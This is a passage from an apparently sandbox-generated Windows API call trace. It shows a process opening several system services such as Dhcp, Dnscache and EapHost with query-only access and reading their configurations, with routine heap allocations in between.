(HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99d08) returned 1 [0031.834] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94dc8) returned 1 [0031.834] OpenServiceW (hSCManager=0x2d3600, lpServiceName="DcomLaunch", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.549] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.550] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.550] GetLastError () returned 0x7a [0032.550] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x13c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.551] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94dc8 [0032.551] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94e50 [0032.551] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94dc8) returned 1 [0032.551] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94e50) returned 1 [0032.551] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94e50 [0032.551] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94dc8 [0032.551] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94e50) returned 1 [0032.551] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94dc8) returned 1 [0032.551] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94dc8 [0032.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.551] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99d08 [0032.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99d08, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.551] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99cc0 [0032.551] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99d08) returned 1 [0032.551] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99cc0) returned 1 [0032.551] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94dc8) returned 1 [0032.551] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99cc0 [0032.551] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94dc8 [0032.551] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94e50 [0032.551] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94ed8 [0032.551] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94f60 [0032.551] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94fe8 [0032.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.551] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99d08 [0032.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x1d99d08, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0032.551] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99d50 [0032.551] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99d08) returned 1 [0032.552] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99d50) returned 1 [0032.552] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94fe8) returned 1 [0032.552] OpenServiceW (hSCManager=0x2d3600, lpServiceName="defragsvc", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.552] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.552] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.552] GetLastError () returned 0x7a [0032.552] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x10a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.552] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94fe8 [0032.553] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95070 [0032.553] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94fe8) returned 1 [0032.553] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95070) returned 1 [0032.553] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95070 [0032.553] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94fe8 [0032.553] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95070) returned 1 [0032.553] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94fe8) returned 1 [0032.553] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94fe8 [0032.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.553] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99d50 [0032.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99d50, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.553] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99d08 [0032.553] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99d50) returned 1 [0032.553] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99d08) returned 1 [0032.553] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94fe8) returned 1 [0032.553] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99d08 [0032.553] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94fe8 [0032.553] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95070 [0032.553] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95220 [0032.553] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d952a8 [0032.553] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95330 [0032.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.553] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99d50 [0032.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x1d99d50, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0032.553] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99d98 [0032.553] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99d50) returned 1 [0032.553] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99d98) returned 1 [0032.553] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95330) returned 1 [0032.553] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Dhcp", dwDesiredAccess=0x1) returned 0x2d3790 [0032.554] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.554] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.554] GetLastError () returned 0x7a [0032.554] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.554] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x100) returned 0x1d97208 [0032.554] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94fe8) returned 1 [0032.554] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94fe8 [0032.554] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95330 [0032.554] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94fe8) returned 1 [0032.554] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95330) returned 1 [0032.554] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95330 [0032.554] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d953b8 [0032.554] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95330) returned 1 [0032.554] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d953b8) returned 1 [0032.554] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d953b8 [0032.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.555] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99d98 [0032.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99d98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.555] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99d50 [0032.555] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99d98) returned 1 [0032.555] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99d50) returned 1 [0032.555] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d953b8) returned 1 [0032.555] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99d50 [0032.555] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d953b8 [0032.555] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95330 [0032.555] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95440 [0032.555] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d954c8 [0032.555] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95550 [0032.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.555] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99d98 [0032.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x1d99d98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0032.555] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99de0 [0032.555] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99d98) returned 1 [0032.555] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99de0) returned 1 [0032.555] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95550) returned 1 [0032.555] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Dnscache", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.555] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.555] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.556] GetLastError () returned 0x7a [0032.556] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x130, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.556] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95550 [0032.556] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d955d8 [0032.556] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95550) returned 1 [0032.556] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d955d8) returned 1 [0032.556] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d955d8 [0032.556] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95550 [0032.556] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d955d8) returned 1 [0032.556] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95550) returned 1 [0032.556] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95550 [0032.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.556] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99de0 [0032.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99de0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.556] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99d98 [0032.556] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99de0) returned 1 [0032.556] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99d98) returned 1 [0032.556] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95550) returned 1 [0032.556] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99d98 [0032.556] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95550 [0032.556] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d955d8 [0032.556] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95660 [0032.556] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d956e8 [0032.556] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95770 [0032.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.556] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99de0 [0032.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x1d99de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0032.557] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99e28 [0032.557] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99de0) returned 1 [0032.557] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99e28) returned 1 [0032.557] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95770) returned 1 [0032.557] OpenServiceW (hSCManager=0x2d3600, lpServiceName="dot3svc", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.557] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.557] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.557] GetLastError () returned 0x7a [0032.557] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.557] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95770 [0032.557] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d957f8 [0032.557] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95770) returned 1 [0032.557] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d957f8) returned 1 [0032.557] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d957f8 [0032.558] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95770 [0032.558] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d957f8) returned 1 [0032.558] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95770) returned 1 [0032.558] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95770 [0032.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.558] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99e28 [0032.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99e28, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.558] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99de0 [0032.558] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99e28) returned 1 [0032.558] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99de0) returned 1 [0032.558] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95770) returned 1 [0032.558] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99de0 [0032.558] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95770 [0032.558] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d957f8 [0032.558] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95880 [0032.558] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95908 [0032.558] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95990 [0032.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.558] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99e28 [0032.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x1d99e28, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0032.558] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23ec8 [0032.558] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99e28) returned 1 [0032.558] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23ec8) returned 1 [0032.558] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95990) returned 1 [0032.558] OpenServiceW (hSCManager=0x2d3600, lpServiceName="DPS", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.558] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.559] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.559] GetLastError () returned 0x7a [0032.559] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x144, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.559] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95990 [0032.559] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95a18 [0032.559] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95990) returned 1 [0032.559] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95a18) returned 1 [0032.559] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95a18 [0032.559] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95990 [0032.559] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95a18) returned 1 [0032.559] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95990) returned 1 [0032.559] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95990 [0032.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.559] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99e28 [0032.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99e28, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.559] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23ec8 [0032.559] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99e28) returned 1 [0032.559] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23ec8) returned 1 [0032.559] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95990) returned 1 [0032.559] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99e28 [0032.559] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95990 [0032.559] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95a18 [0032.560] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95aa0 [0032.560] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95b28 [0032.560] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95bb0 [0032.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.560] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23ec8 [0032.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x1e23ec8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0032.560] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23f10 [0032.560] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23ec8) returned 1 [0032.560] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23f10) returned 1 [0032.560] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95bb0) returned 1 [0032.560] OpenServiceW (hSCManager=0x2d3600, lpServiceName="EapHost", dwDesiredAccess=0x1) returned 0x2d3790 [0032.560] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.560] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.560] GetLastError () returned 0x7a [0032.560] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x136, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, 